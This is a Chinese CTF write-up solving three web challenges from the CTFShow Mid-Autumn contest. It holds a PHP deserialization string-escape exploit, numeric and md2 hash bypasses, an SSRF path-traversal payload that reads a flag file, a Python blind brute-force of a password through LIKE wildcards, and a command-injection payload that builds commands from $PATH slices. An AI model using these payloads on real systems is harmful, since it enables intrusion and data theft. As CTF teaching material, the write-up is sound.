CTFShow月饼杯,学到了很多
web1_此夜圆 题目描述:一江春水何年尽,万古清光此夜圆
挺简单的一题,考察反序列化字符逃逸
附下解题脚本,过程就不写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting(0 ); class  a     public  $uname ='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}' ;     public  $password =1 ;     public  function  __wakeup (      {        if ($this ->password==='yu22x' )         {             echo  '123' ;         }         else          {             echo  'wrong password' ;         }     } } function  filter ($string     return  str_replace('Firebasky' ,'Firebaskyup' ,$string ); } $ser =filter(serialize(new  a($uname ,$password )));print  ($ser );echo  "\n" ;print  (unserialize($ser ));?> 
payload:
1 1 =FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:" password";s:5:" yu22x";} 
web2_故人心 题目描述:三五夜中新月色,二千里外故人心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); highlight_file(__FILE__ ); $a =$_GET ['a' ];$b =$_GET ['b' ];$c =$_GET ['c' ];$url [1 ]=$_POST ['url' ];if (is_numeric($a ) and  strlen($a )<7  and  $a !=0  and  $a **2 ==0 ){    $d  = ($b ==hash("md2" , $b )) && ($c ==hash("md2" ,hash("md2" , $c )));     if ($d ){              highlight_file('hint.php' );              if (filter_var($url [1 ],FILTER_VALIDATE_URL)){                 $host =parse_url($url [1 ]);                 print_r($host );                  if (preg_match('/ctfshow\.com$/' ,$host ['host' ])){                     print_r(file_get_contents($url [1 ]));                 }else {                     echo  '差点点就成功了!' ;                 }             }else {                 echo  'please give me url!!!' ;             }          }else {         echo  '想一想md5碰撞原理吧?!' ;     } }else {     echo  '第一个都过不了还想要flag呀?!' ; } <?php  $flag ="flag in /fl0g.txt" ;
第一关 绕过a 
1 需要绕过 is_numeric($a ) and  strlen($a )<7 and  $a !=0 and  $a **2 ==0 
php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162 
这里的三个 if语句都可以执行成功,可以自己尝试下
第二关 绕过b c 
有个提示,按提示写脚本即可,做法类似 MD5爆破
第三关 url 
考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF
题目中要求url中存在 ctfshow.com,又要构造符合url格式
最终payload为 url=a://ctfshow.com/../../../../../fl0g.txt
web3_莫负婵娟 题目描述:皎洁一年惟此夜,莫教容易负婵娟
查看源码,可以发现一些提示
1 2 3 4 5 6 7 8 9 like 模糊匹配 %  表示零个或多个字符的任意字符串_(下划线)表示任何单个字符 [ ] 表示指定范围  或集合  中的任何单个字符 [^] 不属于指定范围  或集合  的任何单个字符 * 它同于DOS命令中的通配符,代表多个字符 ?同于DOS命令中的?通配符,代表单个字符 # 大致同上,不同的是代只能代表单个数字 
这里的话大部分字符都被过滤了,但是_(下划线)没有,添加N个 _ (下划线)可以知道密码长度为32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"  url = 'http://b1390a07-2ecc-422e-a3e5-0c80c4d66024.chall.ctf.show/login.php'  pwd = ''  for  i in range(32 ):    print ('i = ' +str(i+1 ),end='\t' )     for  j in a:         password = pwd + j + (31  - i) * '_'          data = {'username' :'yu22x' ,'password' :password}         r = requests.post(url,data=data)         if  'wrong'  not in r.text:              pwd += j              print (pwd)              break  
密码:67815b0c009ee970fe4014abaa3Fa6A0 ;用户名:yu22x  
bp抓包 爆破,发现小写字母全被过滤了
题目有个hint
先放payload:ip=0;${PATH:14:1}${PATH:5:1}  ????.???
做法:使用$PATH环境变量来截取字母 
需要读取 flag.txt
但是我在本地的$PATH路径上找不到 t  ….
所以用 nl
查看源码即可得到flag